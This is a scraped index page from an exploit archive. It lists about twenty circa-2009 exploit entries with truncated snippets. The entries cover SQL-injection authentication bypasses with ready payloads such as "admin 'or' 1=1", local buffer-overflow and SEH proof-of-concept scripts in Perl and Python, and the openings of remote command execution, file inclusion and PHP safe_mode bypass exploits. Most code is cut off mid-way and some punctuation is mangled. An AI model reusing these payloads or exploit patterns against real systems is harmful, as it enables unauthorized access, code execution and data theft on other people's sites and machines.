I-Rater Pro/Plantinum 4.0 - Authentication Bypass

I-Rater Platinum V4 By : Hakxer Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Datafr34ck3r , HcJ , Virushima I-Rater Platinum V4 Auth bypass Sql injection poc : http://www.i-rater.com/platinumadmin.html in username : admin 'or' 1=1 in password : Photo Rating Script Pro ...

Online Contact Manager 3.0 - delete.php?id Cross-Site Scripting

Online Contact Manager 3.0 - delete.php?id Cross-Site Scripting source: https://www.securityfocus.com/bid/34626/info Online Contact Manager is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues...

CoolPlayer Portable 2.19.1 - '.m3u' Local Stack Overflow (PoC)

CoolPlayerp Portable 2.19.1 .M3U File Local Stack Overflow POC my $chars= "A" x 4104; my $file="goldm.m3u"; openmy $FILE, "$file" or die "Cannot open $file: $!"; print $FILE $chars; close$FILE; print "$file has been created \n"; print "Thanx Tryag.Com"; milw0rm.com 2009-04-20...

Linksys WRT54GC Password Changer

document.senha.submit;...

Hot Project 7.0 - Authentication Bypass

Hot Project 7.0 - Authentication Bypass -------------------------AllaH AkbaR------------------------------- Hot Project - Version 7 Auth Bypass Remote Sql Injecion --------------------------------------------------------------------------- Discovered By: HCOCAMAN ALGERIAN HaCkEr Mail:...

eLitius 1.0 - '/manage-admin.php' Arbitrary Add Admin/Change Password

Powered by eLitius Version 1.0 Change Password Change Password Of admin Username: Password: Email: Dork: Powered by eLitius Version 1.0 Greetz To: Dos-Dz TeaM Snakes TeaM His0k4 Cod3d By ThE g0bL!N /tr...

Shadow Stream Recorder - .m3u Universal Stack Overflow

Shadow Stream Recorder - .m3u Universal Stack Overflow !/usr/bin/perl Shadow Stream Recorder .m3u file Local Universal Stack Overflow Exploit By AlpHaNiX NullArea.Net alphaathacker.bz Made in Tunisia program : Shadow Stream Recorder download : http://www.rm-to-mp3.net/downloads/ssrecordersetup.ex...

RQms (Rash) 1.2.2 - Multiple SQL Injections

Product : RQMS Version : 1.2.2 Dork : Rash Version: 1.2.1 Site: http://rqms.sourceforge.net Found by: Dimi4 Greetz: UASC http://uasc.org.ua, antichat Multiple Remote Vulnerabilities Need: magicquotesgpc = OFF 1Auth BYPASS http://127.0.0.1/rash-v1.2.2/?admin Login: ' OR 1=1/ 2 Sql-injection...

BulletProof FTP Client 2009 (.bps) Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ================================================================ BulletProof FTP Client 2009 .bps Buffer Overflow Exploit SEH ================================================================ !/usr/bin/python Bug : BulletProof FTP Client 2009...

PHP 5.2.9 Bypass Exploit

?php / SecurityReason.com - Security Audit Stuff PHP 5.2.9 curl safemode & openbasedir bypass http://securityreason.com/achievementsecurityalert/61 exploit from "SecurityReason - Security Audit" lab. for legal use only http://securityreason.com/achievementexploitalert/11 author: Maksymilian...

Scout Portal Toolkit 1.4 XSS / SQL Injection

.----------------------------------------------------------------------------------------------- .The Scout Portal Toolkit V1.4 - xss/sql injection Vulnerability . .------------------------------------------------------------------------------------- .BrowseResources.php?ParentId= SQL Injection...

glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit

?php / glFusion = 1.1.2 COMapplyFilter/order sql injection exploit by Nine:Situations:Group::bookoo working against Mysql = 4.1 php.ini independent our site: http://retrogod.altervista.org/ software site: http://www.glfusion.org/ google dork: "Page created in" "seconds by glFusion" +RSS...

Free PHP Petition Signing Script (Auth Bypass) SQL Injection Vuln

No description provided by source. || || | || o,7 || . o7 || q||| ow, : / / . Free PHP Petition Signing Script Release Login SQL injection Qabandi | iqaahotmail.fr From Kuwait, Peace. Salamz: Killer Hack, Ghost-R00t, Mr.Mn7os, Cyb3rT Download:...

Simply Classified 0.2 - category_id SQL Injection

Simply Classified 0.2 - categoryid SQL Injection ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || ||...

PhotoStand 1.2.0 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStand is...

PhotoStand 1.2.0 Command Execution

!/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStand is vulnerable to SQL Injection, AUTH BYPAS...

BlogPlus 1.0 Local File Inclusion

--:local file include:-- --------------------------------- script:blog+ v1.0 ---------------------------------------------- download from:http://www.ziddu.com/download/3151643/blogplusv1.0final.zip.html ----------------------------------------------...

CDex 1.70b2 Buffer Overflow

Tools - Media file Player - Select files - Browse to a folder - - Open - Play evil.ogg / $frgmnt1 = "OggS". //for what I understood ... beginning "\x00". //streamstructureversion "\x02". //headertypeflag "\x00\x00\x00\x00\x00\x00\x00\x00". //granularposition "\x66\x07\x00\x00"...

EO Video 1.36 - Playlist Overwrite (SEH)

!/usr/bin/python usage: exploit.py print "" print " EO Video v1.36 PlayList Seh Overwrite Exploit\n" print " Author: j0rgan" print " Seh Exploitation : His0k4" print " Tested on: Windows XP SP2 Fr\n" print " Greetings to: All friends & Muslims HacKerS DZ" print "" buff = "\x41" 1356 nextseh =...

Libra PHP File Manager 2.0 Local File Inclusion

! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Libra PHP File Manager eNYe-Sec - www.enye-sec.org You can scale directories and read any file that you have permissions use LWP::UserAgent; $ua = LWP::UserAgent-new; print "\e2J"; system$^O eq 'MSWin32' ? 'cls' :...